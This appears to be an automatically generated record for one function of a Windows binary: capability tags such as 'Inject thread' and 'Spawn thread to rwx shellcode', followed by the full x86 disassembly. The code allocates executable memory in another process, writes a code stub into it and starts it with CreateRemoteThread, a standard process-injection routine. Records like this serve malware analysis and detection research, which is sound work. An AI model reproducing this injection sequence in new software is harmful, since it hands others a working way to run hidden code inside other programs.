Function at 0x4d2050
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x698b4b
mov eax, dword fs:[0]
push eax
sub esp, 0x27c
mov eax, dword [0x783760]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x230], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x22c]
call fcn.0041d41a
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x228]
call fcn.00407c40
movzx ecx, al
test ecx, ecx
jne 0x4d23ff
push 0x6d5278
push 0xff
lea edx, [ebp - 0x210]
push edx
call fcn.004d2469
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call fcn.004d1e08
add esp, 4
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0
je 0x4d23ff
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x240], 0
push 0x40
push 0x3000
lea ecx, [ebp - 0x228]
call fcn.004041c0
lea ecx, [eax + eax + 2]
push ecx
push 0
mov edx, dword [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
je 0x4d2182
push 0
lea ecx, [ebp - 0x228]
call fcn.004041c0
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x228]
call fcn.00401d30
push eax
mov ecx, dword [ebp - 0x23c]
push ecx
mov edx, dword [ebp - 0x230]
push edx
call sub.ntdll.dll_NtWriteVirtualMemory
shr eax, 0x1e
cmp eax, 3
jne 0x4d2187
jmp 0x4d23ff
push 0x40
push 0x3000
push 0x434
push 0
mov eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
jne 0x4d21b6
jmp 0x4d23ff
cmp dword [ebp + 0xc], 0
je 0x4d21eb
cmp dword [ebp + 0x10], 0
je 0x4d21eb
push 0x40
push 0x3000
mov ecx, dword [ebp + 0x10]
push ecx
push 0
mov edx, dword [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
je 0x4d2210
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x240]
push edx
mov eax, dword [ebp - 0x230]
push eax
call sub.ntdll.dll_NtWriteVirtualMemory
shr eax, 0x1e
cmp eax, 3
jne 0x4d2215
jmp 0x4d23ff
push 0x6d5288
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0
je 0x4d23ff
mov ecx, dword [ebp - 0x238]
add ecx, 0x400
mov dword [ebp - 0x248], ecx
mov edx, dword [ebp - 0x23c]
mov dword [ebp - 0x280], edx
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x274], eax
mov ecx, dword [ebp - 0x240]
mov dword [ebp - 0x27c], ecx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x278], edx
push 0x6d52a4
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x270], eax
push 0x6d52b4
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x26c], eax
push 0x6d52c0
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x268], eax
push 0x6d52cc
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x264], eax
push 0x6d52e0
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x260], eax
push 0x6d52ec
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x25c], eax
push 0x6d52f8
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x258], eax
push 0x6d5308
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x254], eax
push 2
push 0
push 0
lea edx, [ebp - 0x284]
push edx
mov eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0
push 0x400
push 0x4d1e60
call fcn.0040c860
add esp, 4
push eax
mov ecx, dword [ebp - 0x238]
push ecx
mov edx, dword [ebp - 0x230]
push edx
call sub.ntdll.dll_NtWriteVirtualMemory
shr eax, 0x1e
cmp eax, 3
je 0x4d23ad
push 0
push 0x34
lea eax, [ebp - 0x284]
push eax
mov ecx, dword [ebp - 0x248]
push ecx
mov edx, dword [ebp - 0x230]
push edx
call sub.ntdll.dll_NtWriteVirtualMemory
shr eax, 0x1e
cmp eax, 3
jne 0x4d23b1
jmp 0x4d23ff
lea eax, [ebp - 0x288]
push eax
push 0
mov ecx, dword [ebp - 0x248]
push ecx
mov edx, dword [ebp - 0x238]
push edx
push 0
push 0
mov eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0
je 0x4d23ff
mov ecx, dword [ebp - 0x24c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x244], 1
cmp dword [ebp - 0x230], 0
je 0x4d242c
cmp dword [ebp - 0x244], 0
jne 0x4d241f
push 0
mov edx, dword [ebp - 0x230]
push edx
call sub.ntdll.dll_NtTerminateProcess
mov eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x250], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x22c]
call fcn.0041786a
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0056e1bf
mov esp, ebp
pop ebp
ret